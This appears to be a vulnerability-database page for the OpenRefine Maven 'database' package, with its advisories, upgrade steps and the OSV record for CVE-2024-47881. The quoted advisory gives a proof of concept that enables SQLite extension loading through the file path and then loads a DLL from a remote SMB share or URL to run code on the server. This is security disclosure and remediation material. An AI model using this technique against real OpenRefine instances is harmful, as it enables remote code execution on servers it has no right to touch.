Vulnerabilities in pkg:maven/org.openrefine/database
PACKAGECVE-2024-47881 is a HIGH (CVSS 8.1) remote code execution vulnerability (General Security Weakness) affecting Database libraries in the Maven ecosystem. The issue involves openrefine's sqlite integration allows filesystem access, remote code execution (rce). Remediation is available by upgrading affected packages to version 3.8.3.
pkg:maven/org.openrefine/database
Vulnerability advisories affecting package pkg:maven/org.openrefine/database. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-87cf-j763-vvh8 | CVE-2024-47881 | HIGH | OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE) |
| GHSA-6p92-qfqf-qwx4 | CVE-2024-23833 | HIGH | OpenRefine JDBC Attack Vulnerability |
| GHSA-p3r5-x3hr-gpg5 | CVE-2023-41887 | CRITICAL | OpenRefine Remote Code execution in project import with mysql jdbc url attack |
| GHSA-qqh2-wvmv-h72m | CVE-2023-41886 | HIGH | OpenRefine vulnerable to arbitrary file read in project import with mysql jdbc url attack |
CVE-2024-47881 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).
How to Fix CVE-2024-47881
To remediate this vulnerability, upgrade all affected Database dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>org.openrefine</groupId>
<artifactId>database</artifactId>
<version>3.8.3</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.openrefine
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2024-47881, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.openrefine
Analyze the terminal output to locate any version of Database in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.8.3), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.openrefine command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under General Security Weakness. In Database, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-47881 Affected Database Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.openrefine:database
|
Maven |
≥ 3.4-beta
< 3.8.3
|
3.8.3
|
References
Frequently Asked Questions
What is CVE-2024-47881?
Which Database versions are affected?
What version fixes CVE-2024-47881?
Is database affected?
What is the CVSS score of CVE-2024-47881?
What CWE is associated with CVE-2024-47881?
How can I check Maven dependencies for CVE-2024-47881?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-87cf-j763-vvh8",
"modified" : "2024-10-24T18:11:20Z",
"published" : "2024-10-24T18:11:20Z",
"aliases" : [ "CVE-2024-47881" ],
"summary" : "OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)",
"details" : "### Summary\n\nIn the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.\n\nThe attacker needs to have network access to the OpenRefine instance.\n\n### Details\n\nThe `database` extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:\n\n* Read files on local or SMB filesystems, provided they are SQLite databases.\n* Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.\n\nThis seems to be the expected behavior.\n\nHowever, by adding `?enable_load_extension=true` to the filename, a [feature](https://www.sqlite.org/loadext.html) is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.\n\nPossible mitigation and hardening steps could include:\n\n- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path\n- If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory\n- If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters\n- Always using the READONLY open mode\n- Explicitly setting enable_load_extension to off\n- Enforcing [stricter limits](https://www.sqlite.org/security.html) and similar precautions\n\n### PoC\n\nTested on a Windows 11 machine. \n\n1. Start OpenRefine and choose \"Create project\", \"Database\", database type \"SQLite\".\n2. Type a writable file path followed by `?enable_load_extension=true`.\n3. Click Connect. The connection should succeed.\n4. Use `SELECT load_extension('\\\\wandernauta.nl\\public\\libcalculator.dll');` as the query.\n5. Assuming there are no firewalls in the way, a few Windows calculators should open.\n\nThe same file is available from https://wandernauta.nl/libcalculator.dll if needed.\n\n### Impact\n\nRemote code execution for attackers with network access to OpenRefine.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.openrefine:database"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.4-beta"
}, {
"fixed" : "3.8.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/OpenRefine/OpenRefine/security/advisories/GHSA-87cf-j763-vvh8"
}, {
"type" : "WEB",
"url" : "https://github.com/OpenRefine/OpenRefine/commit/853a1d91662e7dc278a9a94a38be58de04494056"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/OpenRefine/OpenRefine"
} ],
"database_specific" : {
"cwe_ids" : [ ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-10-24T18:11:20Z",
"nvd_published_at" : null
}
}